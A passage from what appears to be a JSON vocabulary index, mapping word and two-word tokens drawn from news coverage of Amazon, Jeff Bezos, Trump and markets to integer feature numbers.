thousands": 33464, "comments deborah": 33465, "hoffa": 33466, "crossover votes": 33467, "shoppers believed": 33468, "topass": 33469, "demand": 33470, "declared sexually": 33471, "increasingly focusing": 33472, "stock repurchases": 33473, "psa think": 33474, "things experts": 33475, "recommendation": 33476, "president hates": 33477, "proposed ban": 33478, "comfortable feeling": 33479, "read tim": 33480, "sheriff department": 33481, "largest soy": 33482, "immediately clear": 33483, "computer banks": 33484, "added mandates": 33485, "politician political": 33486, "mexican table": 33487, "nvidia shared": 33488, "times union": 33489, "severe early": 33490, "typically used": 33491, "yesterday actually": 33492, "company ran": 33493, "process saying": 33494, "fewer steps": 33495, "democrats growing": 33496, "moderate income": 33497, "unjust ways": 33498, "washington autoplay": 33499, "wide vote": 33500, "pits junta": 33501, "amazon pharmacy": 33502, "refunds fall": 33503, "pasta pane": 33504, "fine performance": 33505, "crimes need": 33506, "hernandez": 33507, "ailing oil": 33508, "f\u00e1bio": 33509, "fascinating question": 33510, "tax giveaways": 33511, "generate": 33512, "idea simply": 33513, "principles montessori": 33514, "000 rooms": 33515, "house candidates": 33516, "dollar company": 33517, "lombardi trophy": 33518, "cortez marketwatch": 33519, "related websites": 33520, "shied": 33521, "booksbyevelyn": 33522, "vicki christiansen": 33523, "979": 33524, "headsto": 33525, "central 1p": 33526, "enacted tax": 33527, "bojan pancevski": 33528, "hailing": 33529, "billionaire uses": 33530, "backroom": 33531, "privacy act": 33532, "gleefully quipped": 33533, "creates massive": 33534, "controversial companies": 33535, "lengthy article": 33536, "000 facebook": 33537, "true autostartvideo": 33538, "day tips": 33539, "turk kurd": 33540, "wh press": 33541, "associates tops": 33542, "higher fcau": 33543, "trial france": 33544, "markupid cnn": 33545, "coyo taco": 33546, "bolduan cnn": 33547, "racists": 33548, "mccabe mccabe": 33549, "house gary": 33550, "traister delineates": 33551, "flickr": 33552, "nigerian": 33553, "nbc remember": 33554, "cartoon": 33555, "successive gop": 33556, "russian hackers": 33557, "photo hans": 33558, "textron": 33559, "deduction amazon": 33560, "presidency accurately": 33561, "earnings news": 33562, "registering": 33563, "king super": 33564, "community surrounding": 33565, "person pledged": 33566, "acquires pillpack": 33567, "correctly congestion": 33568, "danny": 33569, "chinese tariffs": 33570, "tiananmen square": 33571, "toxic air": 33572, "destroy bezos": 33573, "pass budget": 33574, "contributing writer": 33575, "thematic": 33576, "google facebook": 33577, "large pieces": 33578, "moving slowly": 33579, "beach county": 33580, "respondents": 33581, "speedometer": 33582, "wasn immune": 33583, "process overriding": 33584, "nextvideoid": 33585, "store promotions": 33586, "rant throwaway": 33587, "tax big": 33588, "pointy headed": 33589, "earliest twitter": 33590, "including sheriff": 33591, "9002": 33592, "maker stock": 33593, "billion analysts": 33594, "negative remarks": 33595, "intersex people": 33596, "militia": 33597, "data showing": 33598, "suit charges": 33599, "guests attend": 33600, "company wasn": 33601, "chhay": 33602, "old universal": 33603, "fancy washington": 33604, "handling nuclear": 33605, "finalists according": 33606, "suburban maryland": 33607, "parties involved": 33608, "arsht joe": 33609, "inbox president": 33610, "401 millionaire": 33611, "intel semiconductors": 33612, "enemy induced": 33613, "model breastfeeding": 33614, "usps financials": 33615, "comment won": 33616, "post wwii": 33617, "term partner": 33618, "telling indicator": 33619, "deserve ask": 33620, "dollars despite": 33621, "city jonathan": 33622, "overly 04m": 33623, "plata": 33624, "christopher bing": 33625, "safer chemicals": 33626, "samantha masunaga": 33627, "rainforest wildlife": 33628, "mounting woes": 33629, "senators away": 33630, "postage shipped": 33631, "season women": 33632, "morning think": 33633, "time want": 33634, "drone patents": 33635, "immigration company": 33636, "nafta agreement": 33637, "office looks": 33638, "probe nonetheless": 33639, "dolphins": 33640, "blaming state": 33641, "surround": 33642, "company easily": 33643, "president repeated": 33644, "haven heard": 33645, "clinton check": 33646, "quality assurance": 33647, "forays": 33648, "bourguignon": 33649, "mackey alona": 33650, "tv ugly": 33651, "fake stories": 33652, "wertheimer": 33653, "midterms poll": 33654, "paper bezos": 33655, "mysterious corporate": 33656, "confront": 33657, "makes lot": 33658, "bengaluru": 33659, "best thepresident": 33660, "lebanon regional": 33661, "taiwan holds": 33662, "gizmos gadgets": 33663, "pharmacy terms": 33664, "kingdoms 2019": 33665, "month year": 33666, "monopolists know": 33667, "app used": 33668, "466 000": 33669, "world sent": 33670, "used program": 33671, "seize": 33672, "makeshift operating": 33673, "bur federal": 33674, "inspection service": 33675, "wenski archbishop": 33676, "250 points": 33677, "focus list": 33678, "visit tubefilter": 33679, "defendant": 33680, "settings auto": 33681, "thrilled bezos": 33682, "landover": 33683, "mobile carriers": 33684, "know dagen": 33685, "envelope stood": 33686, "country economic": 33687, "realistic tiffany": 33688, "russians president": 33689, "president attention": 33690, "sings": 33691, "governments fear": 33692, "acosta falsely": 33693, "words sinclair": 33694, "london swedish": 33695, "sun valley": 33696, "outlook fell": 33697, "brilliantly colored": 33698, "physically": 33699, "markup language": 33700, "retirees according": 33701, "moore imaginative": 33702, "kuttner": 33703, "tallied": 33704, "firm link": 33705, "comments moving": 33706, "expensive alternatives": 33707, "leaning news": 33708, "snap sharply": 33709, "mayor mark": 33710, "labor unions": 33711, "vantaa airport": 33712, "delivers beautifully": 33713, "lachlan markay": 33714, "quarter tied": 33715, "eroding public": 33716, "accused": 33717, "murder mean": 33718, "daily blast": 33719, "stevekornacki": 33720, "dzyf4hyii1": 33721, "calia contributed": 33722, "img_gettyflag true": 33723, "buyer freddie": 33724, "115 million": 33725, "politically fortuitous": 33726, "acquire new": 33727, "added did": 33728, "repetition": 33729, "psychological horror": 33730, "recap amazon": 33731, "bezos heeds": 33732, "hushing things": 33733, "skull referring": 33734, "srussia": 33735, "jeanne shaheen": 33736, "house report": 33737, "rentand calls": 33738, "bathrobes": 33739, "money wire": 33740, "unveils": 33741, "amzn trump": 33742, "having finished": 33743, "data including": 33744, "comment scott": 33745, "statements trump": 33746, "slavish devotion": 33747, "hair just": 33748, "raising interesting": 33749, "andrew wiseman": 33750, "asking ceo": 33751, "democrat response": 33752, "jackson love": 33753, "million turning": 33754, "estate interests": 33755, "highlander": 33756, "deputies environment": 33757, "outstretched book": 33758, "extent": 33759, "5442": 33760, "laws designed": 33761, "possible garner": 33762, "trump ctl": 33763, "america huge": 33764, "employee worked": 33765, "large uptake": 33766, "roman": 33767, "rasing": 33768, "report 249": 33769, "eventually surpass": 33770, "disclose bezos": 33771, "forces sweetgreen": 33772, "8billion": 33773, "multicarrier": 33774, "split win": 33775, "health policy": 33776, "little drunk": 33777, "intercepted texts": 33778, "prosecution bezos": 33779, "separated according": 33780, "2018 highs": 33781, "wrote morningstar": 33782, "anau footy": 33783, "regarding existing": 33784, "peso weakened": 33785, "gop compromise": 33786, "averages rely": 33787, "safe boy": 33788, "giant netflix": 33789, "neighborhood household": 33790, "epa inaction": 33791, "mental property": 33792, "cube": 33793, "state residents": 33794, "capernaum": 33795, "bezos questionable": 33796, "northwest global": 33797, "everyday aspects": 33798, "tempted": 33799, "propose plan": 33800, "finger directly": 33801, "kwan": 33802, "lambast amazon": 33803, "statement says": 33804, "obstructjustice begin": 33805, "improvements similar": 33806, "timothy hutton": 33807, "iran threatens": 33808, "past governors": 33809, "dickerson welcome": 33810, "graphic descriptions": 33811, "437 shares": 33812, "kept sucking": 33813, "corp dethroned": 33814, "buy 100": 33815, "contributor paulette": 33816, "claims examining": 33817, "second biggest": 33818, "shutdown trump": 33819, "autistic teenager": 33820, "planning news": 33821, "natural bedfellows": 33822, "roadways stressed": 33823, "oliphant": 33824, "inhibit": 33825, "amazon nears": 33826, "continued momentum": 33827, "maine": 33828, "draw government": 33829, "working closely": 33830, "sarno jordan": 33831, "entangles": 33832, "average jane": 33833, "retail killing": 33834, "purcell": 33835, "cotton corn": 33836, "suspects": 33837, "company wants": 33838, "pundits wish": 33839, "taxing large": 33840, "woodrow": 33841, "appalling conditions": 33842, "free donut": 33843, "ibuprofen famotidine": 33844, "manpower": 33845, "human resource": 33846, "storytelling 100": 33847, "border ecommerce": 33848, "kopaloff wireimage": 33849, "leaping campus": 33850, "year search": 33851, "harvest public": 33852, "bain capital": 33853, "old post": 33854, "needless": 33855, "bilateral": 33856, "centers offering": 33857, "trump proposal": 33858, "tininess": 33859, "little matter": 33860, "make cash": 33861, "sourcename cnn": 33862, "amazon sboss": 33863, "journalism abramowitz": 33864, "regarding prime": 33865, "look away": 33866, "families claim": 33867, "falsify": 33868, "alliance griffeth": 33869, "spends millions": 33870, "learned": 33871, "unlucky leprechaun": 33872, "eccentric movie": 33873, "manage effectively": 33874, "chop": 33875, "pivotal midterm": 33876, "making statement": 33877, "cvs stock": 33878, "adviser": 33879, "million suicide": 33880, "television article": 33881, "decade long": 33882, "law allows": 33883, "small selection": 33884, "wong excels": 33885, "additional surcharges": 33886, "alderson": 33887, "epi mcnicholas": 33888, "editors brett": 33889, "orisha": 33890, "kenzie bryant": 33891, "reeves film": 33892, "t000047682 t000138309": 33893, "marketplace earlier": 33894, "capital world": 33895, "trump 1987": 33896, "book stern": 33897, "nazi kkk": 33898, "nations hit": 33899, "popular chinese": 33900, "reproach snipes": 33901, "kevin cullen": 33902, "error console": 33903, "form app": 33904, "online retailing": 33905, "inexpensive dues": 33906, "lights vera": 33907, "shipping businesses": 33908, "emergency united": 33909, "yorkers problems": 33910, "ulrich common": 33911, "beautifully written": 33912, "unfolding death": 33913, "handleadoncvpvisibilitychange": 33914, "company credit": 33915, "mouthpieces kellyanne": 33916, "technologies pitches": 33917, "6pm 6pm": 33918, "considered better": 33919, "soared": 33920, "tougher approach": 33921, "explained read": 33922, "story analysts": 33923, "british": 33924, "global store": 33925, "6605745 jeff": 33926, "recent pirates": 33927, "weakest quarter": 33928, "offering evidence": 33929, "report eunice": 33930, "tenuous premise": 33931, "volume states": 33932, "inappropriate legitimacy": 33933, "craft cocktails": 33934, "hold gigantic": 33935, "marthaw marthawharton3": 33936, "black lives": 33937, "draw attention": 33938, "space conference": 33939, "federal deferred": 33940, "comment follow": 33941, "wizards 125": 33942, "despite brennan": 33943, "moose party": 33944, "cnn videoid": 33945, "letters fewer": 33946, "aol": 33947, "young amazon": 33948, "commons votes": 33949, "small shopping": 33950, "vietnamese cuisine": 33951, "santare": 33952, "days thanks": 33953, "military industrial": 33954, "ny yes": 33955, "dissect": 33956, "nielsen saying": 33957, "employee practices": 33958, "online prices": 33959, "say mean": 33960, "extremely long": 33961, "google intellectual": 33962, "month shooting": 33963, "retweets trump": 33964, "desloge": 33965, "day hit": 33966, "puts toronto": 33967, "bring trump": 33968, "hostile new": 33969, "website categorized": 33970, "kumar parameswaran": 33971, "postal regulation": 33972, "facebook initiated": 33973, "soviet president": 33974, "engagement military": 33975, "complete routes": 33976, "certain conditions": 33977, "reagan nightly": 33978, "matter according": 33979, "clicking add": 33980, "company lobbying": 33981, "gillian flynn": 33982, "year unlike": 33983, "brown simpson": 33984, "york trading": 33985, "uranium mines": 33986, "president reporting": 33987, "samaritans": 33988, "political careers": 33989, "gerald bruce": 33990, "trouble happening": 33991, "false overmediatext": 33992, "google president": 33993, "spreads": 33994, "support colonies": 33995, "suggested comcast": 33996, "rep maloney": 33997, "barriers intellectual": 33998, "wished jeff": 33999, "dallas ap": 34000, "zuckerberg announced": 34001, "treasury suggests": 34002, "dakota businessman": 34003, "balance debilitating": 34004, "signs pictured": 34005, "nearly 105": 34006, "don recognize": 34007, "starbucks rival": 34008, "president attempted": 34009, "journalism tech": 34010, "initial approval": 34011, "later choose": 34012, "homepage google": 34013, "violence bolsonaro": 34014, "past particularly": 34015, "enemy washington": 34016, "meaningful near": 34017, "financial burdens": 34018, "google reported": 34019, "cofounder larry": 34020, "avoids taxes": 34021, "business mornings": 34022, "big muckerman": 34023, "obama associates": 34024, "post headlines": 34025, "fulfilled": 34026, "platforms personal": 34027, "louis fed": 34028, "book promise": 34029, "joseph stalin": 34030, "backed giving": 34031, "roig": 34032, "election security": 34033, "senator emphasized": 34034, "spread propaganda": 34035, "trump alice": 34036, "months calling": 34037, "abruptly fell": 34038, "secular decline": 34039, "delivery fees": 34040, "paid entertainment": 34041, "everyday dorie": 34042, "return acosta": 34043, "vehicles involved": 34044, "book new": 34045, "debicki": 34046, "subsistence": 34047, "wages raise": 34048, "imf managing": 34049, "collecting data": 34050, "statewide strike": 34051, "unusual happened": 34052, "sold 450": 34053, "backpack sack": 34054, "creditjohannes eisele": 34055, "hine llc": 34056, "radio program": 34057, "steep decline": 34058, "trump compelled": 34059, "jani ziedins": 34060, "new shepard": 34061, "broadly consistent": 34062, "publish titled": 34063, "learned doing": 34064, "gathers": 34065, "brexit according": 34066, "aspiring entrepreneurs": 34067, "world strange": 34068, "deteriorating relationship": 34069, "earned credits": 34070, "trifecta": 34071, "novey culturally": 34072, "raised questions": 34073, "free advertising": 34074, "duhigg": 34075, "magazine": 34076, "fil": 34077, "scandal brewing": 34078, "lauderdale high": 34079, "wilson aug": 34080, "reveal texts": 34081, "p8 w4": 34082, "passions": 34083, "jack": 34084, "nearby astoria": 34085, "business shares": 34086, "bitter": 34087, "just handful": 34088, "futures house": 34089, "trump fans": 34090, "normal text": 34091, "trade early": 34092, "nationwide sears": 34093, "center business": 34094, "report republicans": 34095, "bernstein sen": 34096, "happens state": 34097, "recording immigrants": 34098, "norahodonnell paulareidcbs": 34099, "scheme president": 34100, "entire aspect": 34101, "times expos\u00e9": 34102, "wages sanders": 34103, "hated": 34104, "retweets reads": 34105, "issues facebook": 34106, "crisp": 34107, "button debates": 34108, "development little": 34109, "increased investment": 34110, "wyle": 34111, "crucial difference": 34112, "yes yes": 34113, "harris coverage": 34114, "social impact": 34115, "economic mission": 34116, "cause sen": 34117, "blogs images": 34118, "320 000": 34119, "free shops": 34120, "centene wsj": 34121, "ellison ex": 34122, "aapl ticker": 34123, "best stocks": 34124, "powerport": 34125, "house nan": 34126, "relatives netflix": 34127, "popular target": 34128, "man shouted": 34129, "stayed silent": 34130, "server719400 server719401": 34131, "detective finds": 34132, "skyhorse did": 34133, "tracks book": 34134, "kane senior": 34135, "thing thought": 34136, "rep henry": 34137, "land titles": 34138, "consumer expansion": 34139, "headlines season": 34140, "house deputy": 34141, "league defends": 34142, "spring": 34143, "jussie": 34144, "association winter": 34145, "faced complaints": 34146, "amazon readers": 34147, "willingness": 34148, "senator suggestion": 34149, "sits": 34150, "china female": 34151, "rfe rl": 34152, "alli says": 34153, "solely inform": 34154, "icy words": 34155, "alaska today": 34156, "members showed": 34157, "bezos family": 34158, "provise": 34159, "success amazon": 34160, "bad press": 34161, "wouldn": 34162, "president personally": 34163, "million accounts": 34164, "tariffs reuters": 34165, "probe sally": 34166, "aclu matt": 34167, "unsuccessful protest": 34168, "incident": 34169, "support right": 34170, "man called": 34171, "futures nasdaq": 34172, "email bezos": 34173, "minister john": 34174, "delivery rates": 34175, "tightfistedness eleventh": 34176, "journal nature": 34177, "suggesting record": 34178, "president andrea": 34179, "rose 287": 34180, "frauds": 34181, "transportation case": 34182, "act herera": 34183, "stefanik voted": 34184, "certain future": 34185, "families homeless": 34186, "gmt woodbridge": 34187, "took amazon": 34188, "blue suit": 34189, "people held": 34190, "involvement pay": 34191, "reacted angrily": 34192, "brazilian presidential": 34193, "dod technology": 34194, "catherine price": 34195, "seeing proliferation": 34196, "preside jeff": 34197, "android mobile": 34198, "film success": 34199, "primer buyer": 34200, "utility taxes": 34201, "2015et": 34202, "priceline earn": 34203, "mueller": 34204, "good cop": 34205, "photos qualify": 34206, "embarrassment": 34207, "young talented": 34208, "wage record": 34209, "sources including": 34210, "recent bans": 34211, "president congratulates": 34212, "rowan county": 34213, "berlin slide": 34214, "opinions amazon": 34215, "violence 2224": 34216, "journal kavanaugh": 34217, "bourdain parts": 34218, "line rickjnewman": 34219, "snl skit": 34220, "man donald": 34221, "financial conditions": 34222, "sized supermarket": 34223, "actually eased": 34224, "company won": 34225, "frames frames": 34226, "purvis garden": 34227, "founder expressed": 34228, "donaldtrump": 34229, "introduce": 34230, "minute single": 34231, "getting warmed": 34232, "kamala harris": 34233, "perform seasonal": 34234, "enormous diversion": 34235, "racial ethnic": 34236, "better dosomething": 34237, "teen years": 34238, "schooler": 34239, "recruit cabinet": 34240, "collectively promised": 34241, "600x400 turning_point_taylor_collins_poster_600_387892": 34242, "prompt republicans": 34243, "brand chloe": 34244, "new carbon": 34245, "cronyism idea": 34246, "comment amazon": 34247, "moving overseas": 34248, "linda sarsour": 34249, "amzn googl": 34250, "major climate": 34251, "710": 34252, "stanford": 34253, "tax credit": 34254, "confronted gun": 34255, "secret alexa": 34256, "good brief": 34257, "sec northeast": 34258, "tu really": 34259, "elena allbritton": 34260, "rush braintree": 34261, "sipped": 34262, "splashes": 34263, "gossipy": 34264, "point possibly": 34265, "interior department": 34266, "cpi": 34267, "perch": 34268, "repeatedly stressed": 34269, "competitors bezos": 34270, "rounding": 34271, "described amazon": 34272, "state stands": 34273, "designed republican": 34274, "political superpowers": 34275, "peculiar glee": 34276, "best kinja": 34277, "hook elementary": 34278, "publish compromising": 34279, "oliver": 34280, "pervasive virtual": 34281, "2018 trying": 34282, "tim tebow": 34283, "tribune nation": 34284, "connecticut police": 34285, "harris vice": 34286, "investigators determined": 34287, "bicycles especially": 34288, "gloriously bright": 34289, "vietnamese airlines": 34290, "increased penetration": 34291, "sectors endure": 34292, "continues palantir": 34293, "children pillows": 34294, "explosive growth": 34295, "glaring proof": 34296, "agents approach": 34297, "market government": 34298, "jonathan lemire": 34299, "greer good": 34300, "320 million": 34301, "google speaks": 34302, "today griping": 34303, "complication": 34304, "package subsidy": 34305, "portable water": 34306, "online deriding": 34307, "nextday": 34308, "personally built": 34309, "novartis agreed": 34310, "casinos": 34311, "election outcome": 34312, "ambani new": 34313, "action immediately": 34314, "applies": 34315, "indicate social": 34316, "world uks": 34317, "reaffirm": 34318, "nonsense increasingly": 34319, "bezos feared": 34320, "forcing millions": 34321, "question probably": 34322, "trump proudly": 34323, "suffered": 34324, "medical service": 34325, "computing work": 34326, "prescription medications": 34327, "richelieu dennis": 34328, "house msnbc": 34329, "versus q4": 34330, "payrolls": 34331, "tout job": 34332, "reality check": 34333, "amazon reports": 34334, "calculate": 34335, "microsoft apple": 34336, "amazon anticipates": 34337, "donkey southern": 34338, "way correspondence": 34339, "tracy maitland": 34340, "effect number": 34341, "840": 34342, "cool place": 34343, "nonunion": 34344, "sthash 4dg3xiy6": 34345, "draft": 34346, "amazing accomplishment": 34347, "explicit texts": 34348, "jobs amazon": 34349, "albeit briefly": 34350, "particularly strong": 34351, "privately": 34352, "se": 34353, "sexual": 34354, "businesses remember": 34355, "protocols": 34356, "certain break": 34357, "recovery": 34358, "reserve says": 34359, "e3 function": 34360, "1m75ubx want": 34361, "yes stands": 34362, "huge sums": 34363, "morgan chase": 34364, "jingoism": 34365, "big european": 34366, "distracted": 34367, "distortion right": 34368, "median eps": 34369, "reduced rates": 34370, "hugo": 34371, "legal teams": 34372, "incorporating": 34373, "state sen": 34374, "stay true": 34375, "shit says": 34376, "summit vietnam": 34377, "bowl win": 34378, "huge perk": 34379, "donkeys claimed": 34380, "work exclusively": 34381, "original expos\u00e9": 34382, "ol": 34383, "autostart true": 34384, "vukmir wins": 34385, "incapable": 34386, "earnings announcing": 34387, "alleged mistresses": 34388, "dollars lost": 34389, "month ge": 34390, "10best cruise": 34391, "prices brexit": 34392, "isn exactly": 34393, "year secured": 34394, "year earlier": 34395, "chips starting": 34396, "corrective": 34397, "fatal overdoses": 34398, "workedvery": 34399, "petty dabbler": 34400, "scoring telco": 34401, "dials": 34402, "coolers": 34403, "setbacks": 34404, "logo referring": 34405, "tom lovejoy": 34406, "profits totaling": 34407, "government pays": 34408, "google rigged": 34409, "reported memo": 34410, "highest earning": 34411, "remover": 34412, "intended harsh": 34413, "price 392": 34414, "relocate": 34415, "seriously wood": 34416, "hitting youngstown": 34417, "forged": 34418, "difficult times": 34419, "dollar market": 34420, "split internally": 34421, "cronyisms uber": 34422, "sanders characterization": 34423, "legislative branch": 34424, "chemicals posed": 34425, "michael udine": 34426, "policy questions": 34427, "generously": 34428, "deliveries amazon": 34429, "postpone": 34430, "pack stelter": 34431, "secular characteristics": 34432, "straight talk": 34433, "worker status": 34434, "ryan hendrixson": 34435, "sessions leaves": 34436, "black hole": 34437, "odom": 34438, "racer": 34439, "market gauges": 34440, "lighthizer trade": 34441, "jeremycorbyn": 34442, "look good": 34443, "jeff zucker": 34444, "unclassified": 34445, "3rd representative": 34446, "variants": 34447, "formatted_text": 34448, "way thought": 34449, "ecuador embassy": 34450, "pret manger": 34451, "spain 800": 34452, "honolulu": 34453, "consider wide": 34454, "maker tiffany": 34455, "sole reason": 34456, "1959 novel": 34457, "business lines": 34458, "reports brennan": 34459, "deeper understanding": 34460, "endow": 34461, "rob manning": 34462, "conservative tilt": 34463, "avoiding": 34464, "palm beach": 34465, "ice director": 34466, "bus does": 34467, "online vendors": 34468, "amazon golden": 34469, "precise details": 34470, "cnn incoming": 34471, "military bases": 34472, "paper critical": 34473, "crack daring": 34474, "makes razor": 34475, "possible antitrust": 34476, "brown dave_brown24": 34477, "braid": 34478, "airport professional": 34479, "york senate": 34480, "board decided": 34481, "addresses issues": 34482, "board": 34483, "satanic content": 34484, "illinois nazi": 34485, "plc 2019": 34486, "change american": 34487, "satan": 34488, "shea moody": 34489, "philippines based": 34490, "onward": 34491, "splintering state": 34492, "wife anne": 34493, "protracted legal": 34494, "cnn poliltical": 34495, "remarkable service": 34496, "indistinct": 34497, "piece possible": 34498, "scenario proponents": 34499, "170 shares": 34500, "undo buttons": 34501, "analyst firm": 34502, "burn": 34503, "effects impossible": 34504, "says game": 34505, "sino trade": 34506, "adding million": 34507, "child haven": 34508, "portal beginning": 34509, "suggests yes": 34510, "peter van": 34511, "vimeo anthony": 34512, "quality standards": 34513, "employee campus": 34514, "uptick": 34515, "seesawing": 34516, "individuals saved": 34517, "pediatric oncology": 34518, "pushback marked": 34519, "governor weld": 34520, "site breitbart": 34521, "curate trumpelthinskin": 34522, "portfolio 058": 34523, "descendants": 34524, "seen strong": 34525, "shabolubalu million": 34526, "jack dorsey": 34527, "dissolving big": 34528, "pivoted ignoring": 34529, "2113": 34530, "online alleging": 34531, "manufacturing bases": 34532, "politics sections": 34533, "small fry": 34534, "budget omb": 34535, "stack": 34536, "romm": 34537, "price changes": 34538, "stole nearly": 34539, "closed doors": 34540, "pronounced gain": 34541, "parent snap": 34542, "factory today": 34543, "lehrer believe": 34544, "amazon essentials": 34545, "building rail": 34546, "amazon amazon": 34547, "pimentel": 34548, "stake pr": 34549, "alert app": 34550, "bezos determination": 34551, "rising debt": 34552, "cause versus": 34553, "survival amazon": 34554, "specific parties": 34555, "millionaire deter": 34556, "choice positive": 34557, "email sen": 34558, "recommending potential": 34559, "business someday": 34560, "according new": 34561, "vragen": 34562, "instagram face": 34563, "passengers stranded": 34564, "fall river": 34565, "dominant decade": 34566, "subjective gender": 34567, "privileged culture": 34568, "tyko": 34569, "copy friend": 34570, "lecher reported": 34571, "woven": 34572, "kohl combos": 34573, "party murdered": 34574, "given month": 34575, "recap today": 34576, "cve eve": 34577, "afp beverly": 34578, "marys": 34579, "market view": 34580, "accepting responsibility": 34581, "plan includes": 34582, "bezos playing": 34583, "tsai": 34584, "islands small": 34585, "saying chairman": 34586, "developer": 34587, "cnn acosta": 34588, "negotiate": 34589, "signed recently": 34590, "tell axios": 34591, "major subject": 34592, "bots": 34593, "obamacare trump": 34594, "travelhost": 34595, "pecker approved": 34596, "chicago barack": 34597, "866 billion": 34598, "known philanthropic": 34599, "executive action": 34600, "wholesale marked": 34601, "huckleberry finn": 34602, "desmond": 34603, "really good": 34604, "photo ted": 34605, "irs database": 34606, "drastically": 34607, "corrupt crony": 34608, "t000181710 t000040342": 34609, "ksh": 34610, "inequity shows": 34611, "wwe": 34612, "postmedia": 34613, "products bought": 34614, "blasio aide": 34615, "solarcity": 34616, "frequently explicit": 34617, "men earned": 34618, "currently operates": 34619, "surely change": 34620, "consenting adult": 34621, "make movie": 34622, "governor office": 34623, "computing advertising": 34624, "aws opioid": 34625, "workers delivering": 34626, "incomprehensibly huge": 34627, "chart produced": 34628, "volumes": 34629, "poohed employee": 34630, "cartoon negotiating": 34631, "toronto stock": 34632, "c_type article": 34633, "meet half": 34634, "mongodb mongodb": 34635, "sources outside": 34636, "city brothels": 34637, "fl": 34638, "psychiatrist travels": 34639, "carlson vice": 34640, "legally valid": 34641, "sets spending": 34642, "humanized mice": 34643, "developer buddy": 34644, "carell received": 34645, "company key": 34646, "largest investigation": 34647, "amazon average": 34648, "retail verticals": 34649, "engulfing": 34650, "mission operations": 34651, "locales thing": 34652, "ostensibly": 34653, "airline profits": 34654, "election mariia": 34655, "married william": 34656, "noting": 34657, "delivering orders": 34658, "parting message": 34659, "warren says": 34660, "rose gudiel": 34661, "occupy california": 34662, "1547430310000 bezos": 34663, "goldblum receives": 34664, "discernable virtue": 34665, "unlike las": 34666, "month microsoft": 34667, "mta governor": 34668, "resource": 34669, "twitter listen": 34670, "vendor approach": 34671, "market bulls": 34672, "derby amazon": 34673, "stephenson says": 34674, "survey released": 34675, "pledged reduction": 34676, "economic boon": 34677, "enforcement ice": 34678, "state tax": 34679, "today rollbacks": 34680, "sentiment geekwire": 34681, "streamlining act": 34682, "legal channels": 34683, "blindly loyal": 34684, "stunning costumes": 34685, "longtime critic": 34686, "lawsuits 2018": 34687, "500 biggest": 34688, "portman": 34689, "retail pharmacies": 34690, "cfo alan": 34691, "divorce photo": 34692, "downbeat": 34693, "affairs committee": 34694, "right arizona": 34695, "subsidies coupled": 34696, "commented": 34697, "blackstone group": 34698, "patrol": 34699, "originally applauded": 34700, "hold amazon": 34701, "haven responded": 34702, "reports try": 34703, "administration dhillon": 34704, "americans don": 34705, "daughter ellie": 34706, "anwar ibrahim": 34707, "attendees set": 34708, "authentic": 34709, "multinationals japan": 34710, "grabyourwallet hashtag": 34711, "higher mailing": 34712, "vertical deals": 34713, "house aims": 34714, "9bn": 34715, "person center": 34716, "weaponising": 34717, "bezos mocked": 34718, "2018 sen": 34719, "castigation": 34720, "costs maxsa": 34721, "typically follow": 34722, "owen president": 34723, "facts wrong": 34724, "prices companies": 34725, "breaks kill": 34726, "progressive lawmakers": 34727, "7th": 34728, "did good": 34729, "spin": 34730, "paraguay ecuador": 34731, "rob porter": 34732, "amazon capitalist": 34733, "art assistant": 34734, "story hedge": 34735, "amazonwearenotrobots": 34736, "class stamp": 34737, "book eftist": 34738, "christianity": 34739, "derek": 34740, "companies shared": 34741, "newsletters constant": 34742, "pressure seasonally": 34743, "slansky slansky": 34744, "shipper": 34745, "stock soared": 34746, "porches": 34747, "dramatic effect": 34748, "booming economy": 34749, "plus heaping": 34750, "details amazon": 34751, "n7 t9x": 34752, "trump blaming": 34753, "amazon sets": 34754, "baltxqyvjb pic": 34755, "cashless stores": 34756, "action does": 34757, "coca cola": 34758, "rollicking": 34759, "continue doing": 34760, "library bakery": 34761, "good housekeeping": 34762, "enshrined": 34763, "just fine": 34764, "paid ballard": 34765, "good salad": 34766, "future antitrust": 34767, "eengleman": 34768, "build privately": 34769, "anothergovernment shutdown": 34770, "firm quadratic": 34771, "newly minted": 34772, "metoo agreement": 34773, "w9x break": 34774, "bit concerned": 34775, "nehisi coates": 34776, "victoria secret": 34777, "forceful": 34778, "telecom market": 34779, "post lay": 34780, "msn worldwide": 34781, "new stage": 34782, "america forbes": 34783, "inventor": 34784, "decisions argued": 34785, "brian brenberg": 34786, "certain labor": 34787, "including overtime": 34788, "clown": 34789, "new construction": 34790, "service starring": 34791, "itlast night": 34792, "sh donald": 34793, "clip robert": 34794, "work invest": 34795, "minutes seconds": 34796, "\u0430bob woodward": 34797, "know nytimes": 34798, "presidential actions": 34799, "verizon media": 34800, "fewer temporary": 34801, "supplier comment": 34802, "creation amazon": 34803, "eric did": 34804, "somerset tru": 34805, "selected areas": 34806, "tech policy": 34807, "biggest seller": 34808, "2016 reuters": 34809, "american brands": 34810, "staff recently": 34811, "world shoplifters": 34812, "newspapers abdicate": 34813, "adeyemi": 34814, "really just": 34815, "badly believe": 34816, "suspensions fees": 34817, "sen john": 34818, "businesses huawei": 34819, "business woot": 34820, "freeloading": 34821, "border employees": 34822, "won stop": 34823, "towel today": 34824, "speeding": 34825, "facebook": 34826, "paid vacations": 34827, "sly": 34828, "fadeout": 34829, "thought ny": 34830, "wall watch": 34831, "begin suzanne": 34832, "doorstep tonight": 34833, "nasdaq index": 34834, "scenes orig": 34835, "completely caught": 34836, "primarily adjusted": 34837, "good mackey": 34838, "probe sources": 34839, "soper geekwire": 34840, "enquirer crashed": 34841, "arch rivals": 34842, "318 00m": 34843, "booked daniels": 34844, "price premium": 34845, "decades rubenstein": 34846, "critical twitter": 34847, "practices employed": 34848, "entrusting": 34849, "morning commuting": 34850, "effective approach": 34851, "study debunked": 34852, "consultant michael": 34853, "tower stars": 34854, "agencies looking": 34855, "unregistered foreign": 34856, "gotten better": 34857, "need upgrades": 34858, "launched amazon": 34859, "using single": 34860, "notice politicians": 34861, "amazon arguing": 34862, "trump rounds": 34863, "small family": 34864, "seldom": 34865, "piggy": 34866, "independent couriers": 34867, "amzn activision": 34868, "countries approaches": 34869, "steven spielberg": 34870, "literate logical": 34871, "young republicans": 34872, "correction territory": 34873, "illumonet": 34874, "typical walmart": 34875, "ditching": 34876, "generate income": 34877, "amazon daily": 34878, "controls work": 34879, "drama velvet": 34880, "implement": 34881, "coffee scene": 34882, "congressional legislation": 34883, "bribing refusing": 34884, "bezos sponsorship": 34885, "term pain": 34886, "overseas profits": 34887, "r4ee c6": 34888, "unseals": 34889, "consider corporate": 34890, "addresses longstanding": 34891, "continue reading": 34892, "tabloid allegedly": 